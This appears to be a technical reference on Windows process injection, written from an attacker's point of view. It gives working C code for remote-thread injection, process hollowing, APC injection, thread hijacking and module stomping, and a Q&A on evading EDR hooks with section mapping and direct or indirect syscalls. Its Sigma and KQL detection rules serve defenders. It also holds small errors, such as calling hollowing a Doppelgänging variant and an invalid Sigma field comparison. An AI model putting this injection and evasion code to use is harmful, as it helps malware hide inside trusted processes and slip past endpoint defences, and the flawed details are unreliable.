Process Injection Techniques
Process injection relocates shellcode or a full PE image into a legitimate process's memory space — making the malicious code appear to originate from a trusted process like explorer.exe or svchost.exe. Each technique leaves a different combination of API call sequences, memory attributes, and host-based artifacts that detection engineers use to distinguish injected code from legitimate activity. The war between injection novelty and detection coverage is continuous.
Your shellcode is executing inside cmd.exe — easily spotted by EDR as a suspicious process making network connections. You need to migrate into a less-suspicious, long-lived process (explorer.exe) without writing a DLL to disk and without triggering Sysmon's CreateRemoteThread event (Event ID 8) which every SOC tunes alerts on.
Classic VirtualAllocEx + WriteProcessMemory
// The textbook injection sequence. Widely detected but important as baseline.
// Indicators: VirtualAllocEx with RWX permissions + WriteProcessMemory +
// CreateRemoteThread — all three in sequence from the same process = high-fidelity.
BOOL ClassicInject(DWORD pid, BYTE* sc, DWORD scLen) {
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProc) return FALSE;
// Allocate RW first, write, then change to RX (avoids RWX flag)
LPVOID mem = VirtualAllocEx(hProc, NULL, scLen,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SIZE_T written;
WriteProcessMemory(hProc, mem, sc, scLen, &written);
DWORD old;
VirtualProtectEx(hProc, mem, scLen, PAGE_EXECUTE_READ, &old);
HANDLE hThr = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);
CloseHandle(hThr);
CloseHandle(hProc);
return TRUE;
}
Process Hollowing
// Process hollowing (Process Doppelgänging variant):
// 1. CreateProcess with CREATE_SUSPENDED → new suspended process at legitimate image path
// 2. NtUnmapViewOfSection → unmap the original executable from the new process
// 3. VirtualAllocEx + WriteProcessMemory → map malicious PE at same base address
// 4. SetThreadContext → update EIP/RIP to new entry point
// 5. ResumeThread → execute malicious PE inside the legitimate process image
BOOL ProcessHollow(LPCWSTR targetPath, BYTE* payloadPE, DWORD payloadLen) {
STARTUPINFOW si = {0}; si.cb = sizeof(si);
PROCESS_INFORMATION pi = {0};
// Step 1: Create suspended
CreateProcessW(targetPath, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Step 2: Unmap original image
typedef NTSTATUS(NTAPI* pNtUnmap)(HANDLE, PVOID);
pNtUnmap NtUnmap = (pNtUnmap)GetProcAddress(
GetModuleHandleW(L"ntdll.dll"), "NtUnmapViewOfSection");
PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER)payloadPE;
PIMAGE_NT_HEADERS ntHdr = (PIMAGE_NT_HEADERS)(payloadPE + dosHdr->e_lfanew);
DWORD_PTR imgBase = ntHdr->OptionalHeader.ImageBase;
NtUnmap(pi.hProcess, (PVOID)imgBase);
// Step 3: Allocate and write payload
LPVOID remote = VirtualAllocEx(pi.hProcess, (LPVOID)imgBase,
ntHdr->OptionalHeader.SizeOfImage, MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remote, payloadPE, payloadLen, NULL);
// Step 4: Fix up thread context (RIP → payload EP)
CONTEXT ctx = {0}; ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
ctx.Rcx = imgBase + ntHdr->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);
// Step 5: Resume
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
return TRUE;
}
APC Queue Injection
// APC (Asynchronous Procedure Call) injection: queue an APC to a thread
// in alertable wait state. When the thread calls SleepEx/WaitForSingleObjectEx
// with bAlertable=TRUE, Windows drains the APC queue and executes each entry.
// APC injection does NOT use CreateRemoteThread — avoids Sysmon Event ID 8.
BOOL ApcInject(DWORD pid, BYTE* sc, DWORD scLen) {
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID mem = VirtualAllocEx(hProc, NULL, scLen,
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READ);
SIZE_T written;
WriteProcessMemory(hProc, mem, sc, scLen, &written);
// Enumerate threads in target process
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = {0}; te.dwSize = sizeof(te);
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID != pid) continue;
HANDLE hThr = OpenThread(
THREAD_SET_CONTEXT|THREAD_SUSPEND_RESUME, FALSE,
te.th32ThreadID);
if (hThr) {
// Queue APC to every thread — at least one will be alertable
QueueUserAPC((PAPCFUNC)mem, hThr, 0);
CloseHandle(hThr);
}
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
CloseHandle(hProc);
return TRUE;
}
Thread Context Hijack
// Thread context hijacking: suspend an existing thread, modify RIP to shellcode,
// resume. No new thread created → avoids CreateRemoteThread / NtCreateThreadEx.
// Risk: target thread may be in a critical section; corrupting RIP without a
// return trampoline crashes the process. Use a stub that saves/restores context.
BOOL HijackThread(DWORD pid, DWORD tid, BYTE* sc, DWORD scLen) {
HANDLE hProc = OpenProcess(PROCESS_VM_WRITE|PROCESS_VM_OPERATION, FALSE, pid);
HANDLE hThr = OpenThread(THREAD_SUSPEND_RESUME|THREAD_GET_CONTEXT
|THREAD_SET_CONTEXT, FALSE, tid);
SuspendThread(hThr);
CONTEXT ctx = {0}; ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThr, &ctx);
// Allocate shellcode + trampoline stub
// Trampoline: shellcode executes, then JMP back to original RIP
LPVOID mem = VirtualAllocEx(hProc, NULL, scLen + 16,
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Write shellcode
WriteProcessMemory(hProc, mem, sc, scLen, NULL);
// Write return JMP: mov rax, ; jmp rax (12 bytes)
BYTE trampoline[12] = {
0x48, 0xB8, // MOV RAX, imm64
0,0,0,0,0,0,0,0, // original RIP placeholder
0xFF, 0xE0 // JMP RAX
};
*(DWORD64*)(trampoline+2) = ctx.Rip;
WriteProcessMemory(hProc, (BYTE*)mem + scLen, trampoline, 12, NULL);
ctx.Rip = (DWORD64)mem;
SetThreadContext(hThr, &ctx);
ResumeThread(hThr);
CloseHandle(hThr);
CloseHandle(hProc);
return TRUE;
}
Module Stomping
// Module stomping: overwrite the .text section of a legitimate loaded DLL
// in the target process with shellcode. The memory region:
// - Is backed by a legitimate file path (the DLL on disk)
// - Has PAGE_EXECUTE_READ permissions (set by the loader)
// - Does not appear as VirtualAlloc'd memory
// ETW/EDR scanning "unbacked executable memory" (memory not backed by a file)
// will miss this injection because it IS backed by a file.
// Caveat: overwrites a loaded DLL — if the DLL's functions are called later, crash.
// Use a DLL that is loaded but never called (e.g., a language pack DLL).
BOOL ModuleStomping(DWORD pid, LPCWSTR dllName, BYTE* sc, DWORD scLen) {
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// Find base address of target DLL in remote process
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid);
MODULEENTRY32W me = {0}; me.dwSize = sizeof(me);
BYTE* dllBase = NULL;
if (Module32FirstW(hSnap, &me)) {
do {
if (!_wcsicmp(me.szModule, dllName)) {
dllBase = me.modBaseAddr;
break;
}
} while (Module32NextW(hSnap, &me));
}
CloseHandle(hSnap);
if (!dllBase) { CloseHandle(hProc); return FALSE; }
// Write shellcode to .text section base (overwrite with RWX temporarily)
DWORD old;
VirtualProtectEx(hProc, dllBase + 0x1000, scLen,
PAGE_EXECUTE_READWRITE, &old);
SIZE_T written;
WriteProcessMemory(hProc, dllBase + 0x1000, sc, scLen, &written);
VirtualProtectEx(hProc, dllBase + 0x1000, scLen, old, &old);
// Execute via APC or remote thread pointing into the stomped DLL
HANDLE hThr = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)(dllBase + 0x1000), NULL, 0, NULL);
CloseHandle(hThr);
CloseHandle(hProc);
return TRUE;
}
Injection Technique Comparison
| Technique | New thread? | Unbacked memory? | Disk write? | Detection ease | Crash risk |
|---|---|---|---|---|---|
| VirtualAllocEx + CreateRemoteThread | Yes | Yes (VirtualAlloc) | No | Easy — 3-API chain | Low |
| Process Hollowing | No (reuses suspended thread) | Yes | No | Medium — NtUnmap call | Low |
| APC Injection | No | Yes | No | Medium — no EID 8 | Low |
| Thread Context Hijack | No | Yes | No | Medium — no new thread event | High (stack state) |
| Module Stomping | Varies | No (file-backed) | No | Hard — passes unbacked-mem scan | High (DLL function calls) |
| Reflective DLL Injection | Yes | Yes | No | Medium — no LoadLibrary | Low |
Detection Engineering
title: VirtualAllocEx + WriteProcessMemory + CreateRemoteThread — Classic Injection
logsource:
product: windows
category: create_remote_thread
detection:
selection:
EventID: 8 # Sysmon CreateRemoteThread
not_legitimate:
SourceImage|endswith:
- '\svchost.exe'
- '\WerFault.exe'
- '\csrss.exe'
condition: selection and not not_legitimate
level: high
tags: [attack.defense_evasion, T1055.001]
title: Process Hollowing — NtUnmapViewOfSection on Remote Process
logsource:
product: windows
category: process_access
detection:
selection:
EventID: 10 # Sysmon ProcessAccess
GrantedAccess: '0x1fffff' # PROCESS_ALL_ACCESS
not_self:
SourceImage: TargetImage # accessing own process is normal
condition: selection and not not_self
level: medium
-- MDE KQL: unbacked executable memory allocation in remote process
DeviceEvents
| where Timestamp > ago(1d)
| where ActionType == "RemoteThreadCreation"
or ActionType == "ProcessInjection"
| where InitiatingProcessFileName !in~ (
"svchost.exe","csrss.exe","WerFault.exe","MsMpEng.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName,
ProcessCommandLine=InitiatingProcessCommandLine,
TargetProcessName=FileName, ActionType
-- MDE KQL: module stomping — VirtualProtect on file-backed region
DeviceEvents
| where ActionType == "MemoryModified"
| where AdditionalFields has "PAGE_EXECUTE_READWRITE"
| where AdditionalFields has ".dll"
| project Timestamp, DeviceName, InitiatingProcessFileName,
AdditionalFields
Q&A
APC injection avoids CreateRemoteThread but still uses VirtualAllocEx and WriteProcessMemory. Why do these API calls remain detectable even without the thread creation, and what would a more evasive implementation look like?
VirtualAllocEx allocates memory in a remote process, and WriteProcessMemory writes to it. Both are kernel-level operations hooked by most EDRs through user-mode hooks in ntdll.dll (hooking NtAllocateVirtualMemory and NtWriteVirtualMemory). ETW providers log cross-process memory operations. Even without CreateRemoteThread, the allocation + write pattern from a suspicious source process (e.g., cmd.exe calling VirtualAllocEx targeting explorer.exe) is a detectable cross-process operation pair.
A more evasive implementation avoids cross-process API calls entirely by using a shared-memory approach: (1) NtMapViewOfSection: create a shared section (NtCreateSection), write shellcode into it from the attacker process, then map the same section into the target process (NtMapViewOfSection) — the target's memory region is directly backed by the section, not VirtualAlloc'd. Some EDRs monitor NtMapViewOfSection on remote processes, but it is less commonly hooked. (2) Heaven's Gate / direct syscalls: bypass the EDR's user-mode hooks entirely by issuing NT syscalls directly (with the correct syscall number from the current OS version's ntdll.dll), skipping the hooked wrapper functions that trigger EDR callbacks. (3) Indirect syscalls: instead of calling syscall from attacker code (detectable by call stack analysis), locate the syscall instruction inside the legitimate ntdll.dll stub and jump to it — making the call stack appear to originate from ntdll, evading call-stack-based EDR detection.